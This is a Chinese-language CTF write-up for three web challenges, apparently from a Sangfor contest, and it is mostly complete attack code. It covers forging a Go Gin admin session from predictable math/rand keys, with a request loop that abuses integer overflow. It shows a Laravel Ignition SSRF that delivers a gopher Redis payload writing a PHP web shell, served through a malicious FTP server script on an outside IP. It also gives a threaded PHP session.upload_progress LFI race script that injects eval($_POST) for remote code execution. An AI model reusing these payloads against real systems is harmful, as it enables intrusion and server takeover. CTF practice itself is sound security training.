web
Checkin_Go
源码下载下来发现是go语言写的
首先需要登录,用户名密码任意填,用户名不能是admin,爆破md5
admin伪造:因为math/rand的问题,是伪随机数,本地写个gin的web服务,同样的方式生层session,构造admin的session,拿到cookie去替换题目的,这是admin了,就能去溢出了
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"math/rand"
)
func main() {
storage := cookie.NewStore(randomChar(16))
r := gin.Default()
r.Use(sessions.Sessions("o", storage))
r.GET("/", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("uname", "admin")
session.Save()
c.JSON(200, gin.H{
"statue": "200",
})
})
r.Run("0.0.0.0:8888")
}
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
测试一下,替换后可以溢出了,每次-1.
跑脚本:
import requests
import re
burp0_url = "http://192.168.39.9:8088/play/add"
my_cookies = {"o": "MTYzMTM2NzE1MHxEdi1CQkFFQ180SUFBUkFCRUFBQV85bl9nZ0FGQm5OMGNtbHVad3dIQUFWMWJtRnRaUVp6ZEhKcGJtY01Cd0FGWVdSdGFXNEdjM1J5YVc1bkRBb0FDRzV2ZDAxdmJtVjVCblZwYm5Rek1nWUVBUDRYQ0FaemRISnBibWNNRHdBTlkyaGxZMnRPYjNkTmIyNWxlUVp6ZEhKcGJtY01HQUFXY0ZFNWMydDVTVmhQY0U0MlVWSnBibFkxVm1wYVFRWnpkSEpwYm1jTURRQUxjR3hoZVdWeVRXOXVaWGtEYVc1MEJBUUFfaWNRQm5OMGNtbHVad3dTQUJCamFHVmphMUJzWVhsbGNrMXZibVY1Qm5OMGNtbHVad3dZQUJaUGJVaFJPSEJDTW1ScGQxaExlRE5TVFdoS1NsVjN8F5SjofI_A2CFFR8Tm1IICvsWzSlR007XlhP07MafLHY="}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.39.9:8088", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.39.9:8088/game", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"addMoney": "4294967295"}
for i in range(2000):
data = requests.post(burp0_url, headers=burp0_headers, cookies=my_cookies, data=burp0_data).headers
data_header = data['Set-Cookie']
new_cookie = re.findall('o=(.*?);', data_header)[0]
my_cookies = {'o': new_cookie}
if i % 1000 == 0:
print(new_cookie)
# requests.get("http://192.168.39.9:8088/game", headers=burp0_headers, cookies=my_cookies, data=burp0_data)
足够低了直接买
Cross The Side
存在一个SSRF的利用,fuzz一下端口,存在6379
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "http://127.0.0.1:6379/"
}
}
使用gopherus生成攻击redis的payload:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
搭建一个恶意的ftp服务,并将上面的payload中的数据替换掉下面ftp脚本中的payload的内容:
# -*- coding: utf-8 -*-
# @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashele.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 81,69,41,100,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,24,235\n") # 端口计算规则:24*256+235=6379
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1
开启了,然后去构造请求,触发:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "ftp://aaa@81.69.41.100:23/123"
}
}
Sangfor{jXkygJFsJduIbOKGs5W6bQWrLOblnzLH}
only4
既然有文件包含,确定一下php session的位置
http://192.168.39.9:8000/?gwht=php://filter/read=convert.base64-encode/resource=/etc/php5/cli/php.ini
;session.save_path = "/var/lib/php5"
参考这篇文章:https://ca01h.top/Web_security/php_related/13.session.upload_progress+LFI%E5%AE%9E%E7%8E%B0RCE/
import requests
import io
import threading
url = """http://192.168.39.9:8000/"""
sessid = "ca01h"
data = {"cmd": "system('ls');"}
proxy = {"http": "127.0.0.1:8080"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024)
resp = session.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST);?>"},
files={"file": ("ca01h.txt", f)}, cookies={"PHPSESSID": sessid}, proxies=proxy)
def read(session):
while True:
resp = session.post(url=url+"?gwht=../../../../../../var/lib/php5/sess_"+sessid, data=data, proxies=proxy)
if "ca01h.txt" in resp.text:
print(resp.text)
event.clear()
else:
print("[++++++]Retry")
if __name__ == '__main__':
event = threading.Event()
with requests.session() as session:
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
event.set()